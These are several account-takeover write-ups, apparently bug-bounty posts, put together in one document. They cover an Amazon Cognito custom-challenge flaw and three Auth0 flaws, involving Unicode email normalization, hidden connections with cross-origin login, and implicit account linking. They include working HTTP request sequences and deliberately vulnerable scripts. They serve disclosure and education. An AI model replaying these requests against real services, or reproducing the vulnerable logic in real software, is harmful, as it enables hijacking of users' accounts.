What’s Up, Everyone?

Hope y’all are doing awesome! In this post, I’m gonna spill the beans on a bug I discovered while poking around a public program, I won’t be dropping any details about the actual target—just the relevant bits about how it uses Amazon Cognito for its auth and user management.

Quick Intro to Amazon Cognito

Amazon Cognito basically hooks you up with easy sign-up, sign-in, and user access controls for websites and apps. Users can log in using a regular ol’ username and password or go through social login options like Google, Apple, or Facebook.

Two core pieces of Cognito:

1. User Pools: They’re like user directories that handle registration and login flows.

2. Identity Pools: Let you give your users access to other AWS stuff.

Typical Cognito Scenarios

1. Signing in with a User Pool

• You can let your users sign in straight through Cognito or via a third-party IdP (like Google or Facebook).

• After a successful login, Cognito returns tokens that can be used to call protected APIs or to access other AWS services.

2. Using Cognito for Server-Side Access

• Once you’re signed in, you get tokens from Cognito.

• These tokens can help you manage who can do what on your server.

• You can also create user pool groups to organize and limit permissions for different people.

  

Key Authentication Flows

1. Client-Side Auth Flow

• The user types in their username and password.

• The app calls InitiateAuth with Secure Remote Password (SRP) details.

• The app calls RespondToAuthChallenge. If everything checks out, Cognito gives back tokens. If more proof (like MFA) is needed, Cognito gives you a session instead.

• If you do get a session, you’ll call RespondToAuthChallenge again with that MFA code or whatever else is needed.

  

2. Custom Auth Flow

Cognito also lets you create a custom authentication flow using AWS Lambda triggers. Basically, Cognito provides the underlying “plumbing” (the triggers, challenge/response structure), but you have to write the logic that powers each step in the flow. This means you’re on the hook for coding the security checks correctly.

• InitiateAuth: Tells Cognito you’re going for a custom flow (CUSTOM_AUTH) and provides some initial user details.

• RespondToAuthChallenge: If Cognito says “we need a challenge,” you gather the required data (like an MFA code) and send it back with the current session. You keep repeating until the user logs in successfully or you hit an error.

Custom Flow & Challenges

When you do a custom flow:

1. DefineAuthChallenge: Figures out what the next challenge is, based on previous attempts.

2. CreateAuthChallenge: Makes the actual challenge details.

3. VerifyAuthChallengeResponse: Checks if the user’s answer to the challenge is correct.

Heads up: This is exactly where the vulnerability in our story came from—the developer’s code in these triggers didn’t verify that the IdToken actually belonged to the same user who owned the session. Cognito itself doesn’t enforce that; it just links the steps together. So if you don’t handle the logic securely, you risk letting attackers mix and match tokens and sessions.

You can blend these custom steps with built-in ones like SRP password verification or SMS-based MFA. You can even get extra fancy with CAPTCHAs or knowledge-based questions.

Tokens in Cognito

1. ID Token: A JWT that holds user info (like name, email, phone). It’s used to authenticate your user on server resources.

2. Access Token: Lists user privileges, groups, and scopes. Use it to call protected endpoints or let your users update their profiles.

3. Refresh Token: Used to snag new ID and Access tokens. By default, it expires after 30 days, but you can tweak that timeframe to anything from 60 minutes up to 10 years.

The Recon Rundown

Scope:

• Sign-up

• Sign-in

• OAuth (if available)

Acting Like a Regular User

I signed up with an email and password—no big surprises there. I also tested signing up with Google OAuth, which took a second or two longer than usual. Plus, I noticed there wasn’t an option to change the email or unlink Google once connected.

Deep Dive into the Requests

Using BurpSuite, I zeroed in on OAuth-related calls. Typically, the flow looked like this:

1. Click “Sign in with Google”: You get sent to Google for authentication.

2. Token Exchange: Cognito receives the OAuth code from Google and trades it for tokens. At this stage, the JWT’s email claim wasn’t marked “verified” yet.

3. Link Google Username: The client app calls an API endpoint that links the Google account to the local user account, passing an IdToken in the headers.

4. Finishing Up: Finally, the app calls InitiateAuth and RespondToAuthChallenge with a custom challenge name from AWS Lambda triggers. That’s where the code verifies the IdToken and username, returning user-specific tokens. Or at least, that’s how it’s supposed to work when done securely.

The Attack Scenario

At some point, I asked myself:

What if I snag a valid session for another user and pair it with my own valid IdToken in the RespondToAuthChallenge call?

Turns out:

• The session is indeed checked to see if it lines up with the correct username.

• The IdToken is checked to see if it’s valid (i.e., not expired).

• However, there wasn’t any code linking that IdToken to the specific session or user. That’s because the dev who wrote the custom challenge logic didn’t do that last piece of validation!

So you could basically combine a victim’s session with your own IdToken—Cognito’s framework wouldn’t blow the whistle, because it only sees that “the session is valid” and “the token is valid.” It never checks if they belong together.

How to Exploit (Attacker’s Point of View)

1. Attacker Logs In

   • The attacker logs into their own account to get a valid IdToken.

2. Attacker Snags Victim’s Session

   • Fire off a POST to InitiateAuth:

       POST / HTTP/2
       Host: cognito-idp.us-east-1.amazonaws.com
       X-Amz-Target: AWSCognitoIdentityProviderService.InitiateAuth
       Content-Type: application/x-amz-json-1.1
       ...
       {
         "AuthFlow": "CUSTOM_AUTH",
         "ClientId": "targetAppClientId",
         "AuthParameters": {
           "USERNAME": "VICTIM_EMAIL"
         },
         "ClientMetadata": {}
       }
     

   • The response has the victim’s username and session:

       {
         "ChallengeName": "CUSTOM_CHALLENGE",
         "ChallengeParameters": {
           "USERNAME": "VICTIM_USERNAME",
           "email": "VICTIM_EMAIL"
         },
         "Session": "VICTIM_SESSION"
       }
     

     

3. Attacker Mashes Up Their IdToken with Victim’s Session

   • Send another POST to RespondToAuthChallenge:

       POST / HTTP/2
       Host: cognito-idp.us-east-1.amazonaws.com
       X-Amz-Target: AWSCognitoIdentityProviderService.RespondToAuthChallenge
       Content-Type: application/x-amz-json-1.1
       ...
       {
         "ChallengeName": "CUSTOM_CHALLENGE",
         "ChallengeResponses": {
           "USERNAME": "VICTIM_USERNAME",
           "ANSWER": "ATTACKER_IdToken"
         },
         "ClientId": "targetAppClientId",
         "Session": "VICTIM_SESSION"
       }
     

   • Even though the ANSWER (the IdToken) belongs to the attacker, Cognito ends up returning the victim’s tokens:

       {
         "AuthenticationResult": {
           "AccessToken": "VICTIM_ACCESS_TOKEN",
           "ExpiresIn": 3600,
           "IdToken": "VICTIM_ID_TOKEN",
           "RefreshToken": "VICTIM_REFRESH_TOKEN",
           "TokenType": "Bearer"
         },
         "ChallengeParameters": {}
       }
     

End result: The attacker gets the victim’s tokens and can now access the victim’s account.

Wrapping It Up

This vulnerability exists because the developer who set up the custom auth flow didn’t include a check to ensure that the IdToken and the user session actually belong to the same person. Amazon Cognito only provides the building blocks. It’s up to you (or your team) to make sure your custom challenge code does all the proper validations.

If you found this article helpful, feel free to share it.

LinkedIn: Hossam Ahmed

Introduction

Authentication systems serve as the gatekeepers to user accounts and sensitive data. Ensuring their security is crucial to prevent unauthorized access, data breaches, and loss of user trust. Email normalization—the process of standardizing email addresses—plays a critical role in maintaining the integrity of these systems. Inconsistent handling of email normalization can inadvertently allow attackers to bypass security measures, leading to account duplication and unauthorized access.

This article examines a specific vulnerability identified during a penetration test on an application leveraging Auth0 for authentication, highlighting the critical role of email normalization in maintaining authentication integrity.

Application Overview

The application under test utilizes Auth0 to handle user authentication, offering two primary methods for account creation:

1. Sign Up with Google: Users can create an account using their Google credentials.

2. Email and Password: Users can register by providing an email address and a password.

Our focus is on the Email and Password registration method, as it interacts directly with Auth0's email handling and database configurations.

Initial Testing and Discovery

Replicating a Known Vulnerability

During an initial penetration test, a previously identified vulnerability was tested. By following the known exploit steps, an Account Takeover (ATO) was successfully achieved. Upon discovering this vulnerability, it was promptly reported to the client, and immediate actions were taken to fix the issue.

YOU can read the Write-up here: exploiting-auth0-misconfigurations-a-case-study-on-account-linking-vulnerabilities

Attempting Duplicate Account Creation

To further investigate, a new account was created using the email ihussam@xx.xx with the password PassOne123. An attempt to create another account with the same email but a different password using Auth0's public endpoint resulted in an error message: "Email already exists!" This behavior indicated that the system was correctly preventing duplicate email registrations through the standard UI and Auth0 Public Endpoint.

• Reason for Using the Public Endpoint and Default database connection I will explain the reason for such behavior in a separate write-up.

Understanding Email Normalization

Email normalization involves transforming email addresses into a standardized format to ensure consistency across various operations like registration, login, and data retrieval. Proper normalization helps in:

• Preventing Duplicate Accounts: Ensures that variations of an email address (e.g., different cases, Unicode characters) don't result in multiple accounts for the same user.

• Enhancing Security: Reduces the risk of account takeover through visually similar but technically distinct email addresses using Unicode characters.

Common Normalization Techniques

1. Unicode Normalization: Converts Unicode characters to a standard form using normalization forms like NFKC (Normalization Form Compatibility Composition).

2. Case Normalization: Converts the entire email address to lowercase to avoid case-sensitive discrepancies.

3. Dot Removal: Removes dots in specific email domains (e.g., Gmail) where dots are insignificant.

Exploitation of Email Normalization

Creating a Unicode Email Address

To bypass the "Email already exists!" restriction, an email address with a Unicode character was crafted: ıhussam@xx.xx (note the dotted dotless 'i'). This email was used with Auth0's public endpoint, allowing the creation of a new account with the credentials [ıhussam@xx.xx - AccTwo123].

Observing Auth0's Handling of Unicode Emails

Auth0 does not perform email normalization by default. As a result, it treated ıhussam@xx.xx as a different email from ihussam@xx.xx. This discrepancy allowed the creation of what appeared to be a separate account using a slightly altered email address.

Achieving Account Takeover

When logging into the newly created account with [ıhussam@xx.xx - AccTwo123], access was gained to the original account's data and documents. This indicated a successful Account Takeover. Conversely, attempting to log in with the original credentials [ihussam@xx.xx - PassOne123] resulted in an error stating that the password is wrong—a highly unusual and concerning behavior.

Technical Analysis: Auth0's Custom Database Configuration

Understanding Auth0's Custom Database Feature

Auth0 offers a Custom Database feature that allows developers to connect their own user databases with Auth0. This is achieved by linking an external database to an Auth0 database connection and creating custom scripts to handle user authentication processes.

Key Scripts in Custom Database Integration

1. Create User Script: Runs when a user tries to sign up. It takes the user's details (like email and password) and creates a new user entry in the external database.

2. Get User Script: Runs concurrently with the Create User script during the signup process. It checks if the provided email already exists in the external database before allowing a new account to be created.

Root Cause of the Vulnerability

The main issue lies in how these scripts handle email normalization:

• Lack of Email Normalization in Get User Script: The Get User Script did not normalize the email. This means that emails with Unicode characters could bypass the initial check to see if the email already exists, allowing duplicate accounts to be created.

• Normalization in Create User Script: The Create User Script did normalize the email by converting Unicode characters to their ASCII equivalents. This caused the normalized email to match the original email in the database, leading to the overwriting of credentials and facilitating the Account Takeover.

It's important to highlight that the application also performs email normalization during the login process. This means that when a user attempts to log in, the input email is normalized in the same manner as during the registration process. The normalization involves converting Unicode characters to their ASCII equivalents and making all characters lowercase.

Simulating Vulnerable Scripts

Below are simulated versions of the Create User and Get User scripts used in Auth0's Custom Database configuration. These examples illustrate how improper handling of email normalization can introduce vulnerabilities, specifically allowing for Account Takeover (ATO).

Vulnerable Create User Script

This script incorrectly normalizes the email by converting Unicode characters to their ASCII equivalents. This normalization can inadvertently allow duplicate accounts or overwrite existing user credentials.

function create(user, callback) {
  // Extract user details
  const userEmail = user.email;
  const userPassword = user.password;

  // Vulnerable Email Normalization: Converts Unicode characters to ASCII
  const normalizedEmail = userEmail.normalize('NFKC').toLowerCase();

  // Example: Overwriting existing user if normalized email matches
  database.findUserByEmail(normalizedEmail, (err, existingUser) => {
    if (err) return callback(new Error('Database error'));

    if (existingUser) {
      // Vulnerability: Overwrites the existing user's password
      database.updateUserPassword(existingUser.id, userPassword, (updateErr) => {
        if (updateErr) return callback(new Error('Password update failed'));
        return callback(null); // User creation successful (credentials overwritten)
      });
    } else {
      // Create new user with normalized email
      database.createUser(normalizedEmail, userPassword, (createErr) => {
        if (createErr) return callback(new Error('User creation failed'));
        return callback(null); // User creation successful
      });
    }
  });
}

Vulnerability Explanation:

1. Email Normalization in Create User Script:

   • The script normalizes the email by converting it to its ASCII equivalent and making it lowercase.

   • Example: ıhussam@xx.xx becomes ihussam@xx.xx.

2. Overwriting Existing Users:

   • If a user with the normalized email already exists, the script updates the existing user's password with the new password provided. {{But WHY?}}

   • This allows an attacker to overwrite another user's credentials by using a cleverly crafted email address with Unicode characters.

Vulnerable Get User Script

This script fails to normalize the email before checking for existing users. As a result, emails containing Unicode characters can bypass the existence check, allowing the creation of duplicate accounts.

function getByEmail(email, callback) {
  // Extract the email provided during login/signup
  const inputEmail = email;

  // Vulnerable: No Email Normalization performed here
  // Emails with Unicode characters are treated differently

  // Attempt to find user by the raw input email
  database.findUserByEmail(inputEmail, (err, user) => {
    if (err) return callback(new Error('Database error'));

    if (user) {
      // User found, return the user profile
      return callback(null, user);
    } else {
      // User not found, proceed to Create User Script
      return callback(null);
    }
  });
}

Vulnerability Explanation:

1. Lack of Email Normalization in Get User Script:

   • The script uses the raw input email without any normalization.

   • This means that ıhussam@xx.xx is treated as a different email from ihussam@xx.xx.

2. Bypassing Duplicate Checks:

   • An attacker can create an email with Unicode characters that visually resemble an existing user's email.

   • Since the Get User script does not normalize the email, it does not recognize it as existing, allowing the attacker to create a new account with that email.

   • Meanwhile, the Create User script normalizes the email and may overwrite the original user's credentials, leading to Account Takeover.

Summary of the Vulnerability

1. Inconsistent Email Handling:

   • The Create User script normalizes emails, altering Unicode characters to their ASCII equivalents.

   • The Get User script does not normalize emails, allowing Unicode variations to bypass user existence checks.

2. Exploitation Path:

   • Step 1: Attacker registers a new account using an email with Unicode characters that normalize to an existing user's email.

   • Step 2: The Get User script does not recognize the normalized email, allowing the creation of a seemingly new account.

   • Step 3: The Create User script normalizes the email and overwrites the existing user's credentials with the attacker's password.

   • Result: The attacker gains access to the original user's account data, achieving Account Takeover.

Stay Secure!

If you found this article helpful, feel free to share it.

LinkedIn: Hossam Ahmed

Introduction

This post documents a critical 1-click Account Takeover (ATO) vulnerability discovered in an application using Auth0 for authentication.

By chaining:

• A hidden, enabled Username-Password-Authentication connection,

• A Cross-Origin Authentication configuration, and

• A custom account-merging implementation during token exchange

I was able to gain full access to a victim’s primary account (originally created via social logins or Passwordless) with only one click from the victim.

This vulnerability highlights how subtle misconfigurations in identity providers like Auth0 can lead to serious security risks.

Inside Auth0: A Technical Breakdown

Let's understand two important things to grasp how the vulnerability works.

1. Connections and User Profiles

In Auth0, each authentication method (social login, passwordless, username/password, etc.) is represented as a connection.

• Each connection creates a separate profile in the Auth0 tenant, even if the email is the same.

• Profiles are identified by a user_id that includes the connection name.

2. Cross-Origin Authentication

While reviewing the authentication flow of the application, I noticed that the user-facing login options are limited to social logins and passwordless authentication. However, a deeper inspection revealed that the application also leverages Auth0’s Cross-Origin Authentication feature, specifically via the POST /co/authenticate endpoint. This endpoint allows credentials (username and password) to be sent directly to the Auth0 tenant (e.g., auth.nykros.com), and in response, it issues authentication cookies — including the auth0 session cookie, which represents the logged-in user session.

Vulnerability Overview

The ATO was made possible by three chained weaknesses:

1. Hidden Username-Password-Authentication Connection

   • The tenant allowed signup via email/password through Username-Password-Authentication, even though this option was not visible in the app’s UI.

     

     

2. Account Merging Logic

   • During the token exchange, the custom Auth0 Action checked the email associated with the code. If the email was linked to multiple profiles, it treated them as a single account and issued a token for the original account (the first account created).

     

     

3. Cross-Origin Authentication

   • Enabled co/authenticate allowed the attacker to log in using their chosen password, bypassing UI-based restrictions and acquiring a full Auth0 session.

Detailed Exploitation Walkthrough

This section demonstrates each step with raw HTTP requests captured in Burp Suite.

Step 1: Discover Hidden Connections

The app had no visible way to register or log in using email and password. However, I discovered an Auth0 endpoint exposing the valid and available database connections — which is required to craft direct API requests.

Step 2: Create an Account with Victim’s Email

Using the /dbconnections/signup endpoint, an attacker creates a password-based account for the victim’s email.

Request:

POST /dbconnections/signup HTTP/2
Host: auth.nykros.com
Content-Type: application/json

{
  "client_id": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
  "email": "vic@nykros.com",
  "password": "AttackerPass123!",
  "connection": "Username-Password-Authentication",
  "user_metadata": {}
}

Response:

{
  "_id": "XXXXXXXXXXXXXXXXXXXXXXX",
  "email": "vic@nykros.com",
  "email_verified": false
}

Auth0 sends a verification email. If the victim clicks the link, the attacker can then log in to their account without being prompted for email verification.

It’s highly likely the victim will click the link because their account was originally created using Passwordless or Social Login methods, neither of which requires email confirmation during signup. When the attacker registers a password-based account with the same email, Auth0 triggers a generic verification email that simply states, “Since you have an account, please verify your email.” Given that the victim has never seen a verification step before and the message appears legitimate, they are very likely to comply and click the link, unknowingly verifying the attacker-controlled account.

Step 3: Login via Cross-Origin Authentication

With the victim’s email verified, the attacker sends credentials to /co/authenticate.

Request:

POST /co/authenticate HTTP/2
Host: auth.nykros.com
Origin: auth.nykros.com
Content-Type: application/json

{
  "client_id": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
  "username": "vic@nykros.com",
  "password": "AttackerPass123!",
  "credential_type": "http://auth0.com/oauth/grant-type/password-realm",
  "realm": "Username-Password-Authentication"
}

Response:

{
  "login_ticket":"VkB82KWVEEQ8MYA4I6PQD-kNc0U_1bPx",
  "co_verifier":"leEMJtSeoWf3UHuwLmVUpJKOEl72D86O",
  "co_id":"O4GhzYzSKWQs"
}

The attacker receives an Auth0 session cookie:

Step 4: Full OAuth Authorization Flow

The attacker loads the target login page and uses Burp Suite to intercept and replay login requests, injecting the stolen auth0 session at key points in the login flow (e.g., /authorize, /continue, /authorize/resume requests).
By maintaining the attacker-controlled session through these steps, the application fully authenticates the attacker as the victim.

• Result:
  The attacker gains full access to the victim’s account on the application, despite the victim never setting a password or explicitly enabling password-based login.

Finally

Thanks for reading! If anything wasn’t clear or you’d like more details, feel free to reach out — I’d be happy to explain further.

Introduction:

Auth0 is a powerful identity platform that simplifies authentication and authorization. While it provides secure building blocks for user identity management, improper configuration or unsafe customizations can introduce serious vulnerabilities.

This case study highlights a real-world misconfiguration that allowed for unintended account linking between users signing in with Google and those using email/password, all tied to the same email address. We break down how we discovered, analyzed, and exploited this issue in detail.

Background: Auth0 Connections & Account Separation:

In Auth0, each authentication method (like Google, email/password, or passwordless) is treated as a separate "connection." By design, when a user signs up using the same email address through different connections, Auth0 creates separate user profiles — each with its own unique user_id.

For example:

• Signing up via Google with vic@vic.vic creates Profile A (e.g., google-oauth2|xxxxxx)

• Signing up via passwordless creates Profile B (e.g., email|yyyyyyyy)

• Signing up via email/password creates Profile C (e.g., auth0|zzzzzzzz)

Each profile exists independently unless explicitly linked using the Account Linking extension or custom logic.

Note: We identified the available connections used by the application via a hidden endpoint that we will not disclose here.

How the Application Broke Auth0's Expected Behavior:

Despite the default behavior of keeping accounts separate per connection, we found that this application linked accounts implicitly — specifically when a user logged in via email/password using the same email as an existing Google account.

Inferred Account Merging Logic

Through deep inspection of the authentication flow and its behavior, we concluded that the application was using custom logic (likely through an Auth0 Action or Rule) to merge accounts during the token generation phase.

Here’s how it likely worked:

1. User enters valid email/password (for the same email used earlier with Google login).

2. Auth0 verifies credentials and generates an authorization code or token.

3. During this exchange, a custom Action (Auth0 server-side code triggered during the flow) links this new login attempt to the existing Google account.

4. The resulting Access Token or ID Token is issued for the primary account (the one created via Google).

This is not default Auth0 behavior and appears to be an intentional but unsafe implementation by the developers.

Step-by-Step Exploitation:

Step 1: Create a Primary Account via Google

We initiated the test by creating an account through the application’s only visible login method: “Sign in with Google.” This created the primary user profile in Auth0.

Step 2: Discovering the Database Connection

The app had no visible way to register or log in using email and password. However, we discovered an Auth0 endpoint exposing the valid database connections name — which is required to craft direct API requests.

Step 3: Bypassing the Frontend and Registering a Second Account

Once we had the correct connection name and client_id, we registered a second account using the same email but via the Auth0 /dbconnections/signup endpoint:

POST /dbconnections/signup HTTP/2
Host: auth.nykros.com
Content-Type: application/json

{
  "client_id": "XXXXXXXXXXXX",
  "email": "testacc2399@gmail.com",
  "password": "testA@123",
  "connection": "app-prod-users",
  "credential_type": "http://auth0.com/oauth/grant-type/password-realm"
}

Step 4: Triggering the Custom Account Linking Logic

The application didn’t offer an email/password login form, so we manually crafted a login URL targeting the implicit flow. We used the response_type=token to request an access token directly — leveraging the fact that implicit grant was enabled for this client.

https://auth.app.xx/authorize?client_id=XXXXXXXXXXXX&response_type=token&connection=app-prod-users&prompt=login&scope=openid profile email&redirect_uri=https://app.app.xx/callback

Visiting this link displayed a login form (thanks to prompt=login and the connection=xssx), allowing us to authenticate with the email/password we created in step 3.

Step 5: Result — Access Granted to the Google Account

After logging in using email/password, the access token we received belonged to the original Google account — not a new or separate profile.

This confirmed the application’s custom logic forcibly merged the two accounts based solely on email, during the token issuance phase. This type of implicit linking can have serious security consequences.

Possible Root Causes of Implicit Account Linking

While our analysis suggested that a custom Auth0 Action or Rule was merging accounts during token issuance, other misconfigurations could also lead to similar behavior. For instance:

1. User Data Retrieval Based on Email
Instead of maintaining strict separation between identities from different connections, the application may have been fetching user data based solely on the email claim present in the ID Token or Access Token.

• In this scenario, when a new account is created with the same email, the backend retrieves and returns data from the original profile.

• This creates the illusion that the attacker is logged in as the victim, even though no explicit account-linking mechanism is in place.

This approach bypasses Auth0’s identity model entirely and relies on email as the unique identifier — which is unsafe because multiple identities can legitimately share the same email across different connections.

Conclusion:

Account linking vulnerabilities like this one are subtle but dangerous — and often originate from well-meaning but unsafe developer customizations. By understanding how Auth0 handles identities across connections and being cautious with custom Actions or Rules, developers can avoid introducing this kind of critical logic flaw.

Thanks for reading!